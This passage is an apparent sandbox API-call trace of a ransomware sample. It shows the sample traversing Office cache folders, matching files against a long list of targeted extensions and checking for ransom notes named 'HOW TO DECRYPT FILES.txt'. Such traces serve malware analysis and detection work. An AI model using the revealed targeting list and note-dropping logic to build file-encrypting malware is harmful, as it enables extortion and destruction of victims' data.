pszSpec="*.xlsm") returned 0 [0057.676] lstrlenA (lpString="*.xlsm") returned 6 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.dwg") returned 0 [0057.676] lstrlenA (lpString="*.dwg") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.nd") returned 0 [0057.676] lstrlenA (lpString="*.nd") returned 4 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.tlg") returned 0 [0057.676] lstrlenA (lpString="*.tlg") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.lgb") returned 0 [0057.676] lstrlenA (lpString="*.lgb") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mov") returned 0 [0057.676] lstrlenA (lpString="*.mov") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.xdw") returned 0 [0057.676] lstrlenA (lpString="*.xdw") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.ods") returned 0 [0057.676] lstrlenA (lpString="*.ods") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.wav") returned 0 [0057.676] lstrlenA (lpString="*.wav") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mp3") returned 0 [0057.676] lstrlenA (lpString="*.mp3") returned 5 [0057.677] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.aiff") returned 0 [0057.677] lstrlenA (lpString="*.aiff") returned 6 [0057.677] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.flac") returned 0 [0057.677] lstrlenA (lpString="*.flac") returned 6 [0057.677] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.m4a") returned 0 [0057.677] lstrlenA (lpString="*.m4a") returned 5 [0057.677] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.csv") returned 0 [0057.677] lstrlenA (lpString="*.csv") returned 5 [0057.677] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0057.677] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.677] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WordMUI.msi") returned -1 [0057.677] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WordMUI.msi") returned -1 [0057.677] lstrcmpiA (lpString1="", lpString2="WordMUI.msi") returned -1 [0057.677] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned="WordLR.cab" [0057.677] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0057.677] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="" [0057.677] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.677] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.677] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="WordMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" [0057.677] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.ems") returned 0 [0057.678] lstrlenA (lpString="*.ems") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.db") returned 0 [0057.678] lstrlenA (lpString="*.db") returned 4 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.dbf") returned 0 [0057.678] lstrlenA (lpString="*.dbf") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.myox") returned 0 [0057.678] lstrlenA (lpString="*.myox") returned 6 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.myo") returned 0 [0057.678] lstrlenA (lpString="*.myo") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qbw") returned 0 [0057.678] lstrlenA (lpString="*.qbw") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qbb") returned 0 [0057.678] lstrlenA (lpString="*.qbb") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qbm") returned 0 [0057.678] lstrlenA (lpString="*.qbm") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qbo") returned 0 [0057.678] lstrlenA (lpString="*.qbo") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qbx") returned 0 [0057.678] lstrlenA (lpString="*.qbx") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qba") returned 0 [0057.678] lstrlenA (lpString="*.qba") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qby") returned 0 [0057.678] lstrlenA (lpString="*.qby") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qbj") returned 0 [0057.678] lstrlenA (lpString="*.qbj") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.ofx") returned 0 [0057.678] lstrlenA (lpString="*.ofx") returned 5 [0057.678] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.qif") returned 0 [0057.679] lstrlenA (lpString="*.qif") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.mye") returned 0 [0057.679] lstrlenA (lpString="*.mye") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.mbox") returned 0 [0057.679] lstrlenA (lpString="*.mbox") returned 6 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.eml") returned 0 [0057.679] lstrlenA (lpString="*.eml") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.pst") returned 0 [0057.679] lstrlenA (lpString="*.pst") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.ost") returned 0 [0057.679] lstrlenA (lpString="*.ost") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.idx") returned 0 [0057.679] lstrlenA (lpString="*.idx") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.dbx") returned 0 [0057.679] lstrlenA (lpString="*.dbx") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.sql") returned 0 [0057.679] lstrlenA (lpString="*.sql") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.mdb") returned 0 [0057.679] lstrlenA (lpString="*.mdb") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.fdb") returned 0 [0057.679] lstrlenA (lpString="*.fdb") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.wab") returned 0 [0057.679] lstrlenA (lpString="*.wab") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.dat") returned 0 [0057.679] lstrlenA (lpString="*.dat") returned 5 [0057.679] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.txt") returned 0 [0057.679] lstrlenA (lpString="*.txt") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.jpeg") returned 0 [0057.680] lstrlenA (lpString="*.jpeg") returned 6 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.jpg") returned 0 [0057.680] lstrlenA (lpString="*.jpg") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.png") returned 0 [0057.680] lstrlenA (lpString="*.png") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.php") returned 0 [0057.680] lstrlenA (lpString="*.php") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.cs") returned 0 [0057.680] lstrlenA (lpString="*.cs") returned 4 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.cpp") returned 0 [0057.680] lstrlenA (lpString="*.cpp") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.rar") returned 0 [0057.680] lstrlenA (lpString="*.rar") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.zip") returned 0 [0057.680] lstrlenA (lpString="*.zip") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.html") returned 0 [0057.680] lstrlenA (lpString="*.html") returned 6 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.htm") returned 0 [0057.680] lstrlenA (lpString="*.htm") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.xlsx") returned 0 [0057.680] lstrlenA (lpString="*.xlsx") returned 6 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.xls") returned 0 [0057.680] lstrlenA (lpString="*.xls") returned 5 [0057.680] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.mp4") returned 0 [0057.680] lstrlenA (lpString="*.mp4") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.ppt") returned 0 [0057.681] lstrlenA (lpString="*.ppt") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.pptx") returned 0 [0057.681] lstrlenA (lpString="*.pptx") returned 6 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.doc") returned 0 [0057.681] lstrlenA (lpString="*.doc") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.dot") returned 0 [0057.681] lstrlenA (lpString="*.dot") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.docx") returned 0 [0057.681] lstrlenA (lpString="*.docx") returned 6 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.7z") returned 0 [0057.681] lstrlenA (lpString="*.7z") returned 4 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.tar") returned 0 [0057.681] lstrlenA (lpString="*.tar") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.bz2") returned 0 [0057.681] lstrlenA (lpString="*.bz2") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.gz") returned 0 [0057.681] lstrlenA (lpString="*.gz") returned 4 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.mkv") returned 0 [0057.681] lstrlenA (lpString="*.mkv") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.eml") returned 0 [0057.681] lstrlenA (lpString="*.eml") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.msg") returned 0 [0057.681] lstrlenA (lpString="*.msg") returned 5 [0057.681] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.edb") returned 0 [0057.681] lstrlenA (lpString="*.edb") returned 5 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.accdb") returned 0 [0057.682] lstrlenA (lpString="*.accdb") returned 7 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.odb") returned 0 [0057.682] lstrlenA (lpString="*.odb") returned 5 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.java") returned 0 [0057.682] lstrlenA (lpString="*.java") returned 6 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.asm") returned 0 [0057.682] lstrlenA (lpString="*.asm") returned 5 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.pfx") returned 0 [0057.682] lstrlenA (lpString="*.pfx") returned 5 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.pem") returned 0 [0057.682] lstrlenA (lpString="*.pem") returned 5 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.p12") returned 0 [0057.682] lstrlenA (lpString="*.p12") returned 5 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.gpg") returned 0 [0057.682] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi", pszSpec="*.vsd") returned 0 [0057.683] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x780074, dwReserved1=0x74, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0057.683] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WordMUI.xml") returned -1 [0057.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WordMUI.xml") returned -1 [0057.683] lstrcmpiA (lpString1="", lpString2="WordMUI.xml") returned -1 [0057.683] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned="WordMUI.msi" [0057.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0057.683] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="" [0057.683] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.683] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.683] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="WordMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" [0057.683] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x780074, dwReserved1=0x74, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0057.683] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.684] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0057.684] lstrcmpA (lpString1=".", lpString2="{90140000-002C-0409-1000-0000000FF1CE}-C") returned -1 [0057.684] lstrcmpA (lpString1="..", lpString2="{90140000-002C-0409-1000-0000000FF1CE}-C") returned -1 [0057.684] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.684] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-002C-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" [0057.684] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.688] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.688] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.688] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.688] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.688] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0057.688] lstrcmpA (lpString1=".", lpString2="Proof.en") returned -1 [0057.688] lstrcmpA (lpString1="..", lpString2="Proof.en") returned -1 [0057.688] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.688] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="Proof.en" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" [0057.688] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f80d0, dwReserved1=0x4f80cb, cFileName=".", cAlternateFileName="")) returned 0x4f9578 [0057.689] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.689] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, 